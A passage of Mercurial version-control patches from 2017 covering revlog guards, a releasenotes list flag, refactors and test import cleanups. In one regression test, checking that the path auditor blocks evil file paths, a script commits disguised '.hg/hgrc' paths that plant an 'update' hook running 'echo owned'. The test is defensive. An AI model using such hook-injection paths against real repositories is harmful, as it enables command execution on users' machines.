+++ b/mercurial/context.py
@@ -1750,11 +1750,9 @@
                 # Even if the wlock couldn't be grabbed, clear out the list.
                 self._repo.clearpostdsstatus()
 
-    def _dirstatestatus(self, match=None, ignored=False, clean=False,
-                        unknown=False):
+    def _dirstatestatus(self, match, ignored=False, clean=False, unknown=False):
         '''Gets the status from the dirstate -- internal use only.'''
         listignored, listclean, listunknown = ignored, clean, unknown
-        match = match or matchmod.always(self._repo.root, self._repo.getcwd())
         subrepos = []
         if '.hgsub' in self:
             subrepos = sorted(self.substate)
@@ -1980,14 +1978,12 @@
         super(workingctx, self).__init__(repo, text, user, date, extra,
                                          changes)
 
-    def _dirstatestatus(self, match=None, ignored=False, clean=False,
-                        unknown=False):
+    def _dirstatestatus(self, match, ignored=False, clean=False, unknown=False):
         """Return matched files only in ``self._status``
 
         Uncommitted files appear "clean" via this context, even if
         they aren't actually so in the working directory.
         """
-        match = match or matchmod.always(self._repo.root, self._repo.getcwd())
         if clean:
             clean = [f for f in self._manifest if f not in self._changedset]
         else:
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1503701407 25200
#      Fri Aug 25 15:50:07 2017 -0700
# Node ID 9180f8f593f3e3a2d9aa444f9fcd305f7a9096bb
# Parent  e43264525ce513dab1ea23e39d2cf1051975c8ca
revlog: abort on attempt to write null revision

My repo got corrupted yesterday by something that ended up writing the
null revision to the revlog (nullid hash, not nullrev index, of
course).  We use many extensions internally (narrowhg, remotefilelog,
evolve, internal extensions) and treemanifests are on. The null
revision was written to the changelog, the root manifest log, and one
subdirectory manifest log. I have no idea exactly why the null
revision was written, but it seems cheap enough to check that we
should fail instead of corrupting the repo.

Differential Revision: https://phab.mercurial-scm.org/D522

diff --git a/mercurial/revlog.py b/mercurial/revlog.py
--- a/mercurial/revlog.py
+++ b/mercurial/revlog.py
@@ -1694,6 +1694,9 @@
         - rawtext is optional (can be None); if not set, cachedelta must be set.
           if both are set, they must correspond to each other.
         """
+        if node == nullid:
+            raise RevlogError(_("%s: attempt to add null revision") %
+                              (self.indexfile))
         btext = [rawtext]
         def buildtext():
             if btext[0] is not None:
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1503788407 25200
#      Sat Aug 26 16:00:07 2017 -0700
# Node ID 9d5d040160e69c58813f5d3586f3aaceee274812
# Parent  9180f8f593f3e3a2d9aa444f9fcd305f7a9096bb
tests: move baduisetup test inside "#if demandimport"

The test case depends on the failure happening not at import time, but
at uisetup() time, so it doesn't make sense when demandimport is
disabled.

There was already a section for testing demandimport stuff, so I moved
it inside that existing section. As part of the move, I enabled the
extension using '--config' so subsequent tests don't get the bad
extension enabled.

Differential Revision: https://phab.mercurial-scm.org/D526

diff --git a/tests/test-extension.t b/tests/test-extension.t
--- a/tests/test-extension.t
+++ b/tests/test-extension.t
@@ -510,6 +510,53 @@
 
   $ (PYTHONPATH=${PYTHONPATH}${PATHSEP}${TESTTMP}; hg --config extensions.checkrelativity=$TESTTMP/checkrelativity.py checkrelativity)
 
+Make sure a broken uisetup doesn't globally break hg:
+  $ cat > $TESTTMP/baduisetup.py <<EOF
+  > from mercurial import (
+  >     bdiff,
+  >     extensions,
+  > )
+  > 
+  > def blockswrapper(orig, *args, **kwargs):
+  >     return orig(*args, **kwargs)
+  > 
+  > def uisetup(ui):
+  >     extensions.wrapfunction(bdiff, 'blocks', blockswrapper)
+  > EOF
+
+Even though the extension fails during uisetup, hg is still basically usable:
+  $ hg --config extensions.baduisetup=$TESTTMP/baduisetup.py version
+  \*\*\* failed to set up extension baduisetup: No module named (mercurial\.)?bdiff (re)
+  Mercurial Distributed SCM (version *) (glob)
+  (see https://mercurial-scm.org for more information)
+  
+  Copyright (C) 2005-2017 Matt Mackall and others
+  This is free software; see the source for copying conditions. There is NO
+  warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+
+  $ hg --config extensions.baduisetup=$TESTTMP/baduisetup.py version --traceback
+  Traceback (most recent call last):
+    File "*/mercurial/extensions.py", line *, in _runuisetup (glob)
+      uisetup(ui)
+    File "$TESTTMP/baduisetup.py", line 10, in uisetup
+      extensions.wrapfunction(bdiff, 'blocks', blockswrapper)
+    File "*/mercurial/extensions.py", line *, in wrapfunction (glob)
+      origfn = getattr(container, funcname)
+    File "*/hgdemandimport/demandimportpy2.py", line *, in __getattr__ (glob)
+      self._load()
+    File "*/hgdemandimport/demandimportpy2.py", line *, in _load (glob)
+      mod = _hgextimport(_origimport, head, globals, locals, None, level)
+    File "*/hgdemandimport/demandimportpy2.py", line *, in _hgextimport (glob)
+      return importfunc(name, globals, *args, **kwargs)
+  ImportError: No module named (mercurial\.)?bdiff (re)
+  \*\*\* failed to set up extension baduisetup: No module named (mercurial\.)?bdiff (re)
+  Mercurial Distributed SCM (version *) (glob)
+  (see https://mercurial-scm.org for more information)
+  
+  Copyright (C) 2005-2017 Matt Mackall and others
+  This is free software; see the source for copying conditions. There is NO
+  warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+
 #endif
 
   $ cd ..
@@ -1662,54 +1709,3 @@
   $ hg --config extensions.nonregistrar=`pwd`/nonregistrar.py version > /dev/null
   devel-warn: cmdutil.command is deprecated, use registrar.command to register 'foo'
   (compatibility will be dropped after Mercurial-4.6, update your code.) * (glob)
-
-Make sure a broken uisetup doesn't globally break hg:
-  $ cat > $TESTTMP/baduisetup.py <<EOF
-  > from mercurial import (
-  >     bdiff,
-  >     extensions,
-  > )
-  > 
-  > def blockswrapper(orig, *args, **kwargs):
-  >     return orig(*args, **kwargs)
-  > 
-  > def uisetup(ui):
-  >     extensions.wrapfunction(bdiff, 'blocks', blockswrapper)
-  > EOF
-  $ cat >> $HGRCPATH <<EOF
-  > [extensions]
-  > baduisetup = $TESTTMP/baduisetup.py
-  > EOF
-
-Even though the extension fails during uisetup, hg is still basically usable:
-  $ hg version
-  \*\*\* failed to set up extension baduisetup: No module named (mercurial\.)?bdiff (re)
-  Mercurial Distributed SCM (version *) (glob)
-  (see https://mercurial-scm.org for more information)
-  
-  Copyright (C) 2005-2017 Matt Mackall and others
-  This is free software; see the source for copying conditions. There is NO
-  warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-
-  $ hg version --traceback
-  Traceback (most recent call last):
-    File "*/mercurial/extensions.py", line *, in _runuisetup (glob)
-      uisetup(ui)
-    File "$TESTTMP/baduisetup.py", line 10, in uisetup
-      extensions.wrapfunction(bdiff, 'blocks', blockswrapper)
-    File "*/mercurial/extensions.py", line *, in wrapfunction (glob)
-      origfn = getattr(container, funcname)
-    File "*/hgdemandimport/demandimportpy2.py", line *, in __getattr__ (glob)
-      self._load()
-    File "*/hgdemandimport/demandimportpy2.py", line *, in _load (glob)
-      mod = _hgextimport(_origimport, head, globals, locals, None, level)
-    File "*/hgdemandimport/demandimportpy2.py", line *, in _hgextimport (glob)
-      return importfunc(name, globals, *args, **kwargs)
-  ImportError: No module named (mercurial\.)?bdiff (re)
-  \*\*\* failed to set up extension baduisetup: No module named (mercurial\.)?bdiff (re)
-  Mercurial Distributed SCM (version *) (glob)
-  (see https://mercurial-scm.org for more information)
-  
-  Copyright (C) 2005-2017 Matt Mackall and others
-  This is free software; see the source for copying conditions. There is NO
-  warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
# HG changeset patch
# User Rishabh Madan <rishabhmadan96@gmail.com>
# Date 1503873718 -19800
#      Mon Aug 28 04:11:58 2017 +0530
# Node ID 2a37459aedf20cfd78d4d82811ef685d93fd190d
# Parent  9d5d040160e69c58813f5d3586f3aaceee274812
releasenotes: view admonition titles using -l flag

Since this extension is fairly new for almost all the contributors, remembering
the admonition (with titles) is difficult. The list (-l) flag provides
a list of all the active admonitions along with titles.

For usage, hg releasenotes -l returns the list.

Differential Revision: https://phab.mercurial-scm.org/D454

diff --git a/hgext/releasenotes.py b/hgext/releasenotes.py
--- a/hgext/releasenotes.py
+++ b/hgext/releasenotes.py
@@ -275,6 +275,10 @@
                     ss = ", ".join(sorted(similar))
                     ui.write(_("(did you mean one of %s?)\n") % ss)
 
+def _getadmonitionlist(ui, sections):
+    for section in sections:
+        ui.write("%s: %s\n" % (section[0], section[1]))
+
 def parsenotesfromrevisions(repo, directives, revs):
     notes = parsedreleasenotes()
 
@@ -467,7 +471,9 @@
 @command('releasenotes',
     [('r', 'rev', '', _('revisions to process for release notes'), _('REV')),
     ('c', 'check', False, _('checks for validity of admonitions (if any)'),
-        _('REV'))],
+        _('REV')),
+    ('l', 'list', False, _('list the available admonitions with their title'),
+        None)],
     _('hg releasenotes [-r REV] [-c] FILE'))
 def releasenotes(ui, repo, file_=None, **opts):
     """parse release notes from commit messages into an output file
@@ -546,8 +552,10 @@
     release note after it has been added to the release notes file.
     """
     sections = releasenotessections(ui, repo)
+    if opts.get('list'):
+        return _getadmonitionlist(ui, sections)
+
     rev = opts.get('rev')
-
     revs = scmutil.revrange(repo, [rev or 'not public()'])
     if opts.get('check'):
         return checkadmonitions(ui, repo, sections.names(), revs)
diff --git a/tests/test-releasenotes-formatting.t b/tests/test-releasenotes-formatting.t
--- a/tests/test-releasenotes-formatting.t
+++ b/tests/test-releasenotes-formatting.t
@@ -407,3 +407,16 @@
   $ hg releasenotes -r . -c
   Invalid admonition 'fixes' present in changeset 0e7130d2705c
   (did you mean fix?)
+
+  $ cd ..
+
+Usage of --list flag
+
+  $ hg init relnotes-list
+  $ cd relnotes-list
+  $ hg releasenotes -l
+  feature: New Features
+  bc: Backwards Compatibility Changes
+  fix: Bug Fixes
+  perf: Performance Improvements
+  api: API Changes
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1499046864 -7200
#      Mon Jul 03 03:54:24 2017 +0200
# Node ID c0bbaefc2c5a29c0d6253ab8c8fde3f3e1a756b5
# Parent  2a37459aedf20cfd78d4d82811ef685d93fd190d
obsolete: move merge logic on the smaller object

Refactor some logic in _succs in order to clean successorssets code.

Differential Revision: https://phab.mercurial-scm.org/D530

diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
--- a/mercurial/obsutil.py
+++ b/mercurial/obsutil.py
@@ -339,6 +339,14 @@
         new.markers = self.markers.copy()
         return new
 
+    @util.propertycache
+    def _set(self):
+        # immutable
+        return set(self)
+
+    def canmerge(self, other):
+        return self._set.issubset(other._set)
+
 def successorssets(repo, initialnode, closest=False, cache=None):
     """Return set of all latest successors of initial nodes
 
@@ -554,16 +562,16 @@
                 # remove duplicated and subset
                 seen = []
                 final = []
-                candidate = sorted(((set(s), s) for s in succssets if s),
-                                   key=lambda x: len(x[1]), reverse=True)
-                for setversion, listversion in candidate:
-                    for seenset, seensuccs in seen:
-                        if setversion.issubset(seenset):
-                            seensuccs.markers.update(listversion.markers)
+                candidate = sorted((s for s in succssets if s),
+                                   key=len, reverse=True)
+                for cand in candidate:
+                    for seensuccs in seen:
+                        if cand.canmerge(seensuccs):
+                            seensuccs.markers.update(cand.markers)
                             break
                     else:
-                        final.append(listversion)
-                        seen.append((setversion, listversion))
+                        final.append(cand)
+                        seen.append(cand)
                 final.reverse() # put small successors set first
                 cache[current] = final
     return cache[initialnode]
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1499047013 -7200
#      Mon Jul 03 03:56:53 2017 +0200
# Node ID 54c21114e41d9e1676fbe1fe69c487a0a48ba3e9
# Parent  c0bbaefc2c5a29c0d6253ab8c8fde3f3e1a756b5
obsolete: fix old typo

Clean an old typo in successorssets.

Differential Revision: https://phab.mercurial-scm.org/D531

diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
--- a/mercurial/obsutil.py
+++ b/mercurial/obsutil.py
@@ -562,9 +562,9 @@
                 # remove duplicated and subset
                 seen = []
                 final = []
-                candidate = sorted((s for s in succssets if s),
-                                   key=len, reverse=True)
-                for cand in candidate:
+                candidates = sorted((s for s in succssets if s),
+                                    key=len, reverse=True)
+                for cand in candidates:
                     for seensuccs in seen:
                         if cand.canmerge(seensuccs):
                             seensuccs.markers.update(cand.markers)
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503428290 14400
#      Tue Aug 22 14:58:10 2017 -0400
# Node ID fa187801f4b857792094bb325155304c7e417b6c
# Parent  54c21114e41d9e1676fbe1fe69c487a0a48ba3e9
tests: update test-annotate to pass our module import checker

diff --git a/tests/test-annotate.t b/tests/test-annotate.t
--- a/tests/test-annotate.t
+++ b/tests/test-annotate.t
@@ -400,7 +400,8 @@
 and its ancestor by overriding "repo._filecommit".
 
   $ cat > ../legacyrepo.py <<EOF
-  > from mercurial import node, error
+  > from __future__ import absolute_import
+  > from mercurial import error, node
   > def reposetup(ui, repo):
   >     class legacyrepo(repo.__class__):
   >         def _filecommit(self, fctx, manifest1, manifest2,
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503428301 14400
#      Tue Aug 22 14:58:21 2017 -0400
# Node ID 74e53c21fd1392144187ca9981e5e4249504fd86
# Parent  fa187801f4b857792094bb325155304c7e417b6c
tests: update test-archive to pass our module import checker

diff --git a/tests/test-archive.t b/tests/test-archive.t
--- a/tests/test-archive.t
+++ b/tests/test-archive.t
@@ -354,8 +354,9 @@
   $ hg -R repo add repo/a
   $ hg -R repo commit -m '#0' -d '456789012 21600'
   $ cat > show_mtime.py <<EOF
-  > from __future__ import print_function
-  > import sys, os
+  > from __future__ import absolute_import, print_function
+  > import os
+  > import sys
   > print(int(os.stat(sys.argv[1]).st_mtime))
   > EOF
 
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503428319 14400
#      Tue Aug 22 14:58:39 2017 -0400
# Node ID 403040b5a5bd0a5f267dc49e3530ffc0e793ba50
# Parent  74e53c21fd1392144187ca9981e5e4249504fd86
tests: update test-bisect to pass our module import checker

diff --git a/tests/test-bisect.t b/tests/test-bisect.t
--- a/tests/test-bisect.t
+++ b/tests/test-bisect.t
@@ -462,9 +462,10 @@
 
   $ cat > script.py <<EOF
   > #!$PYTHON
+  > from __future__ import absolute_import
   > import sys
-  > from mercurial import ui, hg
-  > repo = hg.repository(ui.ui.load(), '.')
+  > from mercurial import hg, ui as uimod
+  > repo = hg.repository(uimod.ui.load(), '.')
   > if repo['.'].rev() < 6:
   >     sys.exit(1)
   > EOF
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503428654 14400
#      Tue Aug 22 15:04:14 2017 -0400
# Node ID 83313639b8a4a315195a4021830c888ff434f8a7
# Parent  403040b5a5bd0a5f267dc49e3530ffc0e793ba50
tests: update test-bookmarks to pass the import checker

diff --git a/tests/test-bookmarks.t b/tests/test-bookmarks.t
--- a/tests/test-bookmarks.t
+++ b/tests/test-bookmarks.t
@@ -948,8 +948,10 @@
   $ echo a > a
 
   $ cat > $TESTTMP/pausefinalize.py <<EOF
+  > from __future__ import absolute_import
+  > import os
+  > import time
   > from mercurial import extensions, localrepo
-  > import os, time
   > def transaction(orig, self, desc, report=None):
   >    tr = orig(self, desc, report)
   >    def sleep(*args, **kwargs):
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503428676 14400
#      Tue Aug 22 15:04:36 2017 -0400
# Node ID 0124cf4af3b7423c16a1efb103c99917995a5bbc
# Parent  83313639b8a4a315195a4021830c888ff434f8a7
tests: update test-bundle2-pushback to pass the import checker

diff --git a/tests/test-bundle2-pushback.t b/tests/test-bundle2-pushback.t
--- a/tests/test-bundle2-pushback.t
+++ b/tests/test-bundle2-pushback.t
@@ -3,7 +3,8 @@
   > Current bundle2 implementation doesn't provide a way to generate those
   > parts, so they must be created by extensions.
   > """
-  > from mercurial import bundle2, pushkey, exchange, util
+  > from __future__ import absolute_import
+  > from mercurial import bundle2, exchange, pushkey, util
   > def _newhandlechangegroup(op, inpart):
   >     """This function wraps the changegroup part handler for getbundle.
   >     It issues an additional pushkey part to send a new
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503428751 14400
#      Tue Aug 22 15:05:51 2017 -0400
# Node ID 4f86c9647d236fbe3e72e968fca943ab8d2c206b
# Parent  0124cf4af3b7423c16a1efb103c99917995a5bbc
tests: update test-bundle2-format to pass import checker

diff --git a/tests/test-bundle2-format.t b/tests/test-bundle2-format.t
--- a/tests/test-bundle2-format.t
+++ b/tests/test-bundle2-format.t
@@ -12,8 +12,9 @@
   > This extension allows detailed testing of the various bundle2 API and
   > behaviors.
   > """
-  > 
-  > import sys, os, gc
+  > import gc
+  > import os
+  > import sys
   > from mercurial import util
   > from mercurial import bundle2
   > from mercurial import scmutil
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503431360 14400
#      Tue Aug 22 15:49:20 2017 -0400
# Node ID 0d0cec9602c381f4d5aea6627c31f4dc62b481a7
# Parent  4f86c9647d236fbe3e72e968fca943ab8d2c206b
tests: update test-chg to pass our import checker

diff --git a/tests/test-chg.t b/tests/test-chg.t
--- a/tests/test-chg.t
+++ b/tests/test-chg.t
@@ -115,7 +115,9 @@
   > EOF
 
   $ cat > $TESTTMP/fakepager.py <<EOF
-  > import sys, time
+  > from __future__ import absolute_import
+  > import sys
+  > import time
   > for line in iter(sys.stdin.readline, ''):
   >     if 'crash' in line: # only interested in lines containing 'crash'
   >         # if chg exits when pager is sleeping (incorrectly), the output
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503431394 14400
#      Tue Aug 22 15:49:54 2017 -0400
# Node ID 42361715dd11796105a9bc4721fa3e00f0c132a3
# Parent  0d0cec9602c381f4d5aea6627c31f4dc62b481a7
tests: update test-command-template to pass our import checker

diff --git a/tests/test-command-template.t b/tests/test-command-template.t
--- a/tests/test-command-template.t
+++ b/tests/test-command-template.t
@@ -2166,9 +2166,10 @@
   $ cd unstable-hash
   $ hg log --template '{date|age}\n' > /dev/null || exit 1
 
-  >>> from datetime import datetime, timedelta
+  >>> from __future__ import absolute_import
+  >>> import datetime
   >>> fp = open('a', 'w')
-  >>> n = datetime.now() + timedelta(366 * 7)
+  >>> n = datetime.datetime.now() + datetime.timedelta(366 * 7)
   >>> fp.write('%d-%d-%d 00:00' % (n.year, n.month, n.day))
   >>> fp.close()
   $ hg add a
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503431401 14400
#      Tue Aug 22 15:50:01 2017 -0400
# Node ID 335d45e7438153e1d763fe9186889ced416e49e1
# Parent  42361715dd11796105a9bc4721fa3e00f0c132a3
tests: update test-commit to pass our import checker

diff --git a/tests/test-commit.t b/tests/test-commit.t
--- a/tests/test-commit.t
+++ b/tests/test-commit.t
@@ -642,9 +642,10 @@
   
 verify pathauditor blocks evil filepaths
   $ cat > evil-commit.py <<EOF
-  > from mercurial import ui, hg, context, node
+  > from __future__ import absolute_import
+  > from mercurial import context, hg, node, ui as uimod
   > notrc = u".h\u200cg".encode('utf-8') + '/hgrc'
-  > u = ui.ui.load()
+  > u = uimod.ui.load()
   > r = hg.repository(u, '.')
   > def filectxfn(repo, memctx, path):
   >     return context.memfilectx(repo, path, '[hooks]\nupdate = echo owned')
@@ -666,9 +667,10 @@
   $ hg rollback -f
   repository tip rolled back to revision 2 (undo commit)
   $ cat > evil-commit.py <<EOF
-  > from mercurial import ui, hg, context, node
+  > from __future__ import absolute_import
+  > from mercurial import context, hg, node, ui as uimod
   > notrc = "HG~1/hgrc"
-  > u = ui.ui.load()
+  > u = uimod.ui.load()
   > r = hg.repository(u, '.')
   > def filectxfn(repo, memctx, path):
   >     return context.memfilectx(repo, path, '[hooks]\nupdate = echo owned')
@@ -684,9 +686,10 @@
   $ hg rollback -f
   repository tip rolled back to revision 2 (undo commit)
   $ cat > evil-commit.py <<EOF
-  > from mercurial import ui, hg, context, node
+  > from __future__ import absolute_import
+  > from mercurial import context, hg, node, ui as uimod
   > notrc = "HG8B6C~2/hgrc"
-  > u = ui.ui.load()
+  > u = uimod.ui.load()
   > r = hg.repository(u, '.')
   > def filectxfn(repo, memctx, path):
   >     return context.memfilectx(repo, path, '[hooks]\nupdate = echo owned')
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503431427 14400
#      Tue Aug 22 15:50:27 2017 -0400
# Node ID 794f7bb739be9f5e16ab26e2f2d98fbbf8be5659
# Parent  335d45e7438153e1d763fe9186889ced416e49e1
tests: update test-convert-clonebranches to pass our import checker

diff --git a/tests/test-convert-clonebranches.t b/tests/test-convert-clonebranches.t
--- a/tests/test-convert-clonebranches.t
+++ b/tests/test-convert-clonebranches.t
@@ -31,7 +31,9 @@
 Miss perl... sometimes
 
   $ cat > filter.py <<EOF
-  > import sys, re
+  > from __future__ import absolute_import
+  > import re
+  > import sys
   > 
   > r = re.compile(r'^(?:\d+|pulling from)')
   > sys.stdout.writelines([l for l in sys.stdin if r.search(l)])
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503431435 14400
#      Tue Aug 22 15:50:35 2017 -0400
# Node ID 90981271a9047670815212fc4aba58c489172125
# Parent  794f7bb739be9f5e16ab26e2f2d98fbbf8be5659
tests: update test-debugcommands to pass our import checker

diff --git a/tests/test-debugcommands.t b/tests/test-debugcommands.t
--- a/tests/test-debugcommands.t
+++ b/tests/test-debugcommands.t
@@ -132,25 +132,27 @@
 Test internal debugstacktrace command
 
   $ cat > debugstacktrace.py << EOF
-  > from mercurial.util import debugstacktrace, dst, sys
+  > from __future__ import absolute_import
+  > import sys
+  > from mercurial import util
   > def f():
-  >     debugstacktrace(f=sys.stdout)
+  >     util.debugstacktrace(f=sys.stdout)
   >     g()
   > def g():
-  >     dst('hello from g\\n', skip=1)
+  >     util.dst('hello from g\\n', skip=1)
   >     h()
   > def h():
-  >     dst('hi ...\\nfrom h hidden in g', 1, depth=2)
+  >     util.dst('hi ...\\nfrom h hidden in g', 1, depth=2)
   > f()
   > EOF
   $ $PYTHON debugstacktrace.py
   stacktrace at:
-   debugstacktrace.py:10 in * (glob)
-   debugstacktrace.py:3  in f
+   debugstacktrace.py:12 in * (glob)
+   debugstacktrace.py:5  in f
   hello from g at:
-   debugstacktrace.py:10 in * (glob)
-   debugstacktrace.py:4  in f
+   debugstacktrace.py:12 in * (glob)
+   debugstacktrace.py:6  in f
   hi ...
   from h hidden in g at:
-   debugstacktrace.py:4 in f
-   debugstacktrace.py:7 in g
+   debugstacktrace.py:6 in f
+   debugstacktrace.py:9 in g
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503431459 14400
#      Tue Aug 22 15:50:59 2017 -0400
# Node ID b9765319880e2362d882d334ca4042be13cafc53
# Parent  90981271a9047670815212fc4aba58c489172125
tests: update test-dirstate to pass our import checker

diff --git a/tests/test-dirstate.t b/tests/test-dirstate.t
--- a/tests/test-dirstate.t
+++ b/tests/test-dirstate.t
@@ -66,7 +66,12 @@
 coherent (issue4353)
 
   $ cat > ../dirstateexception.py <<EOF
-  > from mercurial import merge, extensions, error
+  > from __future__ import absolute_import
+  > from mercurial import (
+  >   error,
+  >   extensions,
+  >   merge,
+  > )
   > 
   > def wraprecordupdates(orig, repo, actions, branchmerge):
   >     raise error.Abort("simulated error while recording dirstateupdates")
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503431466 14400
#      Tue Aug 22 15:51:06 2017 -0400
# Node ID efa6a420ba576ee782a9771bb16d38ad400cb7d8
# Parent  b9765319880e2362d882d334ca4042be13cafc53
tests: update test-eol to pass our import checker

diff --git a/tests/test-eol.t b/tests/test-eol.t
--- a/tests/test-eol.t
+++ b/tests/test-eol.t
@@ -8,9 +8,11 @@
 Set up helpers
 
   $ cat > switch-eol.py <<EOF
+  > from __future__ import absolute_import
+  > import os
   > import sys
   > try:
-  >     import os, msvcrt
+  >     import msvcrt
   >     msvcrt.setmode(sys.stdin.fileno(), os.O_BINARY)
   >     msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY)
   > except ImportError:
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503431472 14400
#      Tue Aug 22 15:51:12 2017 -0400
# Node ID 1be228b960307588a2e05f6895fcebb39716e529
# Parent  efa6a420ba576ee782a9771bb16d38ad400cb7d8
tests: update test-fncache to pass our import checker

diff --git a/tests/test-fncache.t b/tests/test-fncache.t
--- a/tests/test-fncache.t
+++ b/tests/test-fncache.t
@@ -205,9 +205,9 @@
 Aborting lock does not prevent fncache writes
 
   $ cat > exceptionext.py <<EOF
+  > from __future__ import absolute_import
   > import os
-  > from mercurial import commands, error
-  > from mercurial.extensions import wrapcommand, wrapfunction
+  > from mercurial import commands, error, extensions
   > 
   > def lockexception(orig, vfs, lockname, wait, releasefn, *args, **kwargs):
   >     def releasewrap():
@@ -217,7 +217,7 @@
   >     return l
   > 
   > def reposetup(ui, repo):
-  >     wrapfunction(repo, '_lock', lockexception)
+  >     extensions.wrapfunction(repo, '_lock', lockexception)
   > 
   > cmdtable = {}
   > 
@@ -236,7 +236,7 @@
   >             wlock.release()
   > 
   > def extsetup(ui):
-  >     wrapcommand(commands.table, "commit", commitwrap)
+  >     extensions.wrapcommand(commands.table, "commit", commitwrap)
   > EOF
   $ extpath=`pwd`/exceptionext.py
   $ hg init fncachetxn
@@ -252,9 +252,9 @@
 Aborting transaction prevents fncache change
 
   $ cat > ../exceptionext.py <<EOF
+  > from __future__ import absolute_import
   > import os
-  > from mercurial import commands, error, localrepo
-  > from mercurial.extensions import wrapfunction
+  > from mercurial import commands, error, extensions, localrepo
   > 
   > def wrapper(orig, self, *args, **kwargs):
   >     tr = orig(self, *args, **kwargs)
@@ -265,7 +265,8 @@
   >     return tr
   > 
   > def uisetup(ui):
-  >     wrapfunction(localrepo.localrepository, 'transaction', wrapper)
+  >     extensions.wrapfunction(
+  >         localrepo.localrepository, 'transaction', wrapper)
   > 
   > cmdtable = {}
   > 
@@ -287,9 +288,15 @@
 Aborted transactions can be recovered later
 
   $ cat > ../exceptionext.py <<EOF
+  > from __future__ import absolute_import
   > import os
-  > from mercurial import commands, error, transaction, localrepo
-  > from mercurial.extensions import wrapfunction
+  > from mercurial import (
+  >   commands,
+  >   error,
+  >   extensions,
+  >   localrepo,
+  >   transaction,
+  > )
   > 
   > def trwrapper(orig, self, *args, **kwargs):
   >     tr = orig(self, *args, **kwargs)
@@ -303,8 +310,10 @@
   >     raise error.Abort("forced transaction failure")
   > 
   > def uisetup(ui):
-  >     wrapfunction(localrepo.localrepository, 'transaction', trwrapper)
-  >     wrapfunction(transaction.transaction, '_abort', abortwrapper)
+  >     extensions.wrapfunction(localrepo.localrepository, 'transaction',
+  >                             trwrapper)
+  >     extensions.wrapfunction(transaction.transaction, '_abort',
+  >                             abortwrapper)
   > 
   > cmdtable = {}
   > 
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503431478 14400
#      Tue Aug 22 15:51:18 2017 -0400
# Node ID 04518bd58e8a16ecbd7410ffa91b6876d651eff7
# Parent  1be228b960307588a2e05f6895fcebb39716e529
tests: update test-glog to pass our import checker

diff --git a/tests/test-glog.t b/tests/test-glog.t
--- a/tests/test-glog.t
+++ b/tests/test-glog.t
@@ -82,7 +82,13 @@
   > }
 
   $ cat > printrevset.py <<EOF
-  > from mercurial import extensions, revsetlang, commands, cmdutil
+  > from __future__ import absolute_import
+  > from mercurial import (
+  >   cmdutil,
+  >   commands,
+  >   extensions,
+  >   revsetlang,
+  > )
   > 
   > def uisetup(ui):
   >     def printrevset(orig, ui, repo, *pats, **opts):
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503431484 14400
#      Tue Aug 22 15:51:24 2017 -0400
# Node ID 163b6b7f333c85127d95bbd5bfa85df75f300001
# Parent  04518bd58e8a16ecbd7410ffa91b6876d651eff7
tests: update test-hardlinks to pass our import checker

diff --git a/tests/test-hardlinks.t b/tests/test-hardlinks.t
--- a/tests/test-hardlinks.t
+++ b/tests/test-hardlinks.t
@@ -17,8 +17,9 @@
 Some implementations of cp can't create hardlinks (replaces 'cp -al' on Linux):
 
   $ cat > linkcp.py <<EOF
+  > from __future__ import absolute_import
+  > import sys
   > from mercurial import util
-  > import sys
   > util.copyfiles(sys.argv[1], sys.argv[2], hardlink=True)
   > EOF
 
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503431490 14400
#      Tue Aug 22 15:51:30 2017 -0400
# Node ID dc95caa1ec0de52d5618844b3b08bd6ad33095c0
# Parent  163b6b7f333c85127d95bbd5bfa85df75f300001
tests: update test-help to pass our import checker

diff --git a/tests/test-help.t b/tests/test-help.t
--- a/tests/test-help.t
+++ b/tests/test-help.t
@@ -1516,8 +1516,8 @@
   > 
   > This paragraph is never omitted, too (for extension)
   > '''
-  > 
-  > from mercurial import help, commands
+  > from __future__ import absolute_import
+  > from mercurial import commands, help
   > testtopic = """This paragraph is never omitted (for topic).
   > 
   > .. container:: verbose
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503431497 14400
#      Tue Aug 22 15:51:37 2017 -0400
# Node ID 4d40fd0283d8f92c1ad8782101f7baabc58d8217
# Parent  dc95caa1ec0de52d5618844b3b08bd6ad33095c0
tests: update test-impexp-branch to pass our import checker

diff --git a/tests/test-impexp-branch.t b/tests/test-impexp-branch.t
--- a/tests/test-impexp-branch.t
+++ b/tests/test-impexp-branch.t
@@ -2,7 +2,9 @@
   $ echo 'strip =' >> $HGRCPATH
 
   $ cat >findbranch.py <<EOF
-  > import re, sys
+  > from __future__ import absolute_import
+  > import re
+  > import sys
   > 
   > head_re = re.compile('^#(?:(?:\\s+([A-Za-z][A-Za-z0-9_]*)(?:\\s.*)?)|(?:\\s*))$')
   > 
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503431507 14400
#      Tue Aug 22 15:51:47 2017 -0400
